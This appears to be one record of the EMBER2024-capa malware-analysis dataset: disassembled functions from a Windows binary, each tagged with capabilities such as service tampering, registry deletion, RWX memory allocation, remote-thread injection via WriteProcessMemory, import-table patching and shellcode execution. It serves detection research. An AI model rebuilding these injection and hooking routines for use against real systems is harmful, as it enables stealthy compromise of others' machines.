joyce8/EMBER2024-capa huggingface dataset:
Function at 0x87a890
Capabilities:
Modify service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov byte [ebp - 5], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x87aa4e
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x87aa31
mov dword [ebp - 0x14], 0
lea edx, [ebp - 0x14]
push edx
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
cmp dword [ebp - 0x14], 0
je 0x87aa14
mov ecx, dword [ebp - 0x14]
shl ecx, 1
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x14]
shl eax, 1
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x87a9f7
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x87a943
mov dword [ebp - 0x30], 1
mov edx, dword [ebp - 0x18]
cmp dword [edx], 1
jne 0x87a977
mov eax, dword [ebp - 0x18]
cmp dword [eax + 4], 1
jne 0x87a977
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 8], 1
jne 0x87a977
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0087a830
add esp, 8
movzx edx, al
test edx, edx
jne 0x87a9ac
mov eax, dword [ebp + 0x10]
push eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 1
push 1
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x87a9a3
cmp dword [ebp - 0x30], 1
je 0x87a9ac
mov dword [ebp - 0x38], 0
jmp 0x87a9b3
mov dword [ebp - 0x38], 1
mov al, byte [ebp - 0x38]
mov byte [ebp - 5], al
movzx ecx, byte [ebp + 0x14]
test ecx, ecx
je 0x87a9f7
movzx edx, byte [ebp - 5]
test edx, edx
je 0x87a9ea
cmp dword [ebp - 0x30], 4
je 0x87a9e1
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x87a9ea
mov dword [ebp - 0x3c], 1
jmp 0x87a9f1
mov dword [ebp - 0x3c], 0
mov cl, byte [ebp - 0x3c]
mov byte [ebp - 5], cl
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x87abf0
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 5], 0
call fcn.0087efa0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x87ac80
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x87ac63
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 5], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
movzx eax, byte [ebp - 5]
mov esp, ebp
pop ebp
ret 4

Function at 0x87ac90
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x87ad0f
mov dword [ebp - 0x21c], 0
push 0x104
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
jne 0x87ad05
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0087ac90
add esp, 8
mov edx, dword [ebp - 0x21c]
add edx, 1
mov dword [ebp - 0x21c], edx
jmp 0x87acc0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov esp, ebp
pop ebp
ret
Function at 0x87b1e0
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
push 0xd0
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.00896830
add esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [ecx], 0x67452301
mov edx, dword [ebp + 8]
mov dword [edx + 4], 0xefcdab89
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x98badcfe
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], 0x10325476
mov edx, dword [ebp + 8]
mov dword [edx + 0x10], 0xc3d2e1f0
pop ebp
ret

Function at 0x87e450
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov byte [ebp - 5], 0
call fcn.0087efa0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x87e486
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x87e526
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x87e509
lea edx, [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x87e4c4
cmp dword [ebp - 0x28], 4
je 0x87e4df
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x87e4df
mov dword [ebp - 0x30], 0
jmp 0x87e4e6
mov dword [ebp - 0x30], 1
mov dl, byte [ebp - 0x30]
mov byte [ebp - 5], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
movzx eax, byte [ebp - 5]
mov esp, ebp
pop ebp
ret 4
Function at 0x87f1c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x9234c0
push 0x8987b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
jbe 0x87f298
cmp dword [ebp + 0xc], 0
jne 0x87f20d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp + 0xc], eax
mov dword [ebp - 0x20], 0
push 0xc
call fcn.008836d0
mov dword [ebp - 0x20], eax
push 0x1c
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp eax, 0x1c
jne 0x87f27c
cmp dword [ebp - 0x2c], 0x10000
jne 0x87f25e
push 0x40
push 0x2000
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
jmp 0x87f27c
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x38]
jne 0x87f274
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
mov dword [ebp - 0x20], ecx
jmp 0x87f27a
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x20], edx
jmp 0x87f21e
push 0x40
push 0x1000
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0xffffffff
jmp 0x87f2c4
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x87f3a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret 8
Function at 0x87fd20
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0xff
cmp eax, 6
jae 0x87fd66
call fcn.0087fc40
mov dword [ebp - 8], eax
xor eax, eax
cmp dword [ebp - 8], 0
setne al
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x87fd61
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x87fe68
push str.CheckTokenMembership
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x10], 0
mov byte [ebp - 0xf], 5
cmp dword [ebp - 0xc], 0
je 0x87fe68
lea edx, [ebp - 0x18]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x87fe68
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
push 0
call dword [ebp - 0xc]
test eax, eax
je 0x87fded
cmp dword [ebp - 0x1c], 0
je 0x87fded
mov dword [ebp - 0x2c], 1
jmp 0x87fdf4
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 4], 0
je 0x87fe68
lea edx, [ebp - 0x20]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x87fe68
mov dword [ebp - 0x24], 4
lea eax, [ebp - 0x24]
push eax
push 4
lea ecx, [ebp - 0x28]
push ecx
push 0x14
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x87fe51
cmp dword [ebp - 0x28], 0
je 0x87fe51
mov dword [ebp - 0x30], 1
jmp 0x87fe58
mov dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x8806c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push edi
mov dword [ebp - 0x10], 0
push 0xc
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.00896830
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x8806fb
lea ecx, [ebp - 0xc]
push ecx
call fcn.00880210
add esp, 4
test eax, eax
je 0x8806fb
lea edx, [ebp - 0xc]
mov dword [ebp + 0xc], edx
call fcn.00880370
mov eax, dword [ebp + 0x20]
push eax
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x88085b
movzx ecx, byte [ebp + 0x24]
test ecx, ecx
jne 0x88085b
push 0
push 0x90df88
call fcn.00883460
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x88085b
mov dword [ebp - 0x18], 0
cmp dword [ebp + 0xc], 0
je 0x88076a
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
cmp dword [ebp + 0x10], 0
je 0x880797
mov ecx, dword [ebp + 0x1c]
and ecx, 0x10000
je 0x880791
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x1c], edx
jmp 0x880797
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp + 8]
push ecx
push 0x25
call fcn.0087f1c0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x8807e5
mov ecx, 9
mov esi, 0x90e0dc
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [ebp + 0x14]
mov dword [ebp - 0x47], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x37], eax
push 1
push 0x90e0a0
call fcn.008833f0
mov dword [ebp - 0x32], eax
push 1
push 0x90e030
call fcn.008833f0
mov dword [ebp - 0x2d], eax
cmp dword [ebp - 0x24], 0
je 0x88085b
lea ecx, [ebp - 0x50]
push ecx
push 0x25
lea edx, [ebp - 0x4c]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x880855
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp - 0x24]
push edx
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push 0
mov edx, dword [ebp + 0x1c]
and edx, 4
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x14]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x880846
mov edx, dword [ebp + 0x20]
mov eax, dword [ebp - 0x58]
mov dword [edx], eax
jmp 0x880853
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call fcn.0087f2e0
jmp 0x88085b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 8], 0
je 0x880874
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x882110
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call fcn.00880fc0
test eax, eax
je 0x882126
xor eax, eax
jmp 0x8821c5
mov dword [ebp - 0xc], 0
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
push 0x8000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 4], 0xffffffff
je 0x8821c2
push 0
push 0
push 0
push 2
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x8821b8
push 0
push 0
push 0
push 4
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x882750
Capabilities:
Parse pe header
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x88281a
push 0
push 0
push 0
push 2
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x882810
push 0
push 0
push 0
push 4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x882806
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx]
cmp edx, 0x5a4d
jne 0x8827fc
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp dword [edx], 0x4550
jne 0x8827fc
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax + 0x18]
cmp ecx, 0x20b
jne 0x8827fc
mov dword [ebp - 8], 1
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 4
Function at 0x882dc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x923598
push 0x8987b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
push 2
mov eax, dword [ebp + 8]
push eax
call fcn.008810d0
test eax, eax
jne 0x882e35
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x5a4d
jne 0x882e35
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0x4550
je 0x882e35
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0xffffffff
jmp 0x882e61
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x883200
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x110]
push eax
push 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push 0x90e33c
push 0x90e330
call fcn.00885770
add esp, 0x14
push 1
lea eax, [ebp - 0x110]
push eax
call fcn.00885580
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x8832a2
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
je 0x883292
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 0x114], 1
jmp 0x883298
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x114]
mov esp, ebp
pop ebp
ret 4

Function at 0x884ea0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
cmp dword [0x92f03c], 0xffffffff
jne 0x884f1c
push 0x114
push 0
lea eax, [ebp - 0x118]
push eax
call fcn.00896830
add esp, 0xc
mov dword [ebp - 0x118], 0x114
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x114], 6
ja 0x884f06
cmp dword [ebp - 0x114], 6
jne 0x884efa
cmp dword [ebp - 0x110], 1
ja 0x884f06
mov dword [ebp - 0x11c], 0
jmp 0x884f10
mov dword [ebp - 0x11c], 1
mov edx, dword [ebp - 0x11c]
mov dword [0x92f03c], edx
xor eax, eax
cmp dword [0x92f03c], 1
sete al
mov esp, ebp
pop ebp
ret
Function at 0x8888f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
jne 0x8889cf
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp dword [edx], 0x4550
jne 0x8889cf
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x80]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x8889cf
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp eax, dword [edx + 0x50]
jae 0x8889cf
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
je 0x8889cf
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0xc], 0
je 0x8889cf
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x10], 0
je 0x8889cf
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov eax, dword [ecx + 0x10]
cmp eax, dword [edx + 0x50]
jae 0x8889cf
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x10]
je 0x8889cf
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x10]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
cmp dword [edx], 0
je 0x8889c4
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
cmp ecx, dword [ebp + 0xc]
jne 0x8889b9
push 4
mov edx, dword [ebp - 0x14]
push edx
call fcn.0087f3a0
test eax, eax
je 0x8889b9
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0x10]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
add edx, 4
mov dword [ebp - 0x14], edx
jmp 0x888990
mov eax, dword [ebp - 0x10]
add eax, 0x14
mov dword [ebp - 0x10], eax
jmp 0x888959
mov esp, ebp
pop ebp
ret 0xc
Function at 0x88cd40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
cmp dword [0x935e54], 0
je 0x88cd5b
cmp dword [0x935e58], 0
jne 0x88cdae
push 1
push 0x90e874
call fcn.00883460
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
mov ecx, dword [ebp - 8]
add ecx, 0xa
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x88cdac
mov edx, dword [0x935e50]
sub edx, dword [ebp - 8]
sub edx, 0xe
mov eax, dword [ebp - 8]
mov dword [eax + 0xa], edx
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
push edx
push 4
mov eax, dword [ebp - 8]
add eax, 0xa
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x88cdb9
push 0x88ca50
call dword [0x935e58]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 4

Function at 0x892239
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x92f584]
jne 0x892243
repz ret
jmp fcn.0089a3ee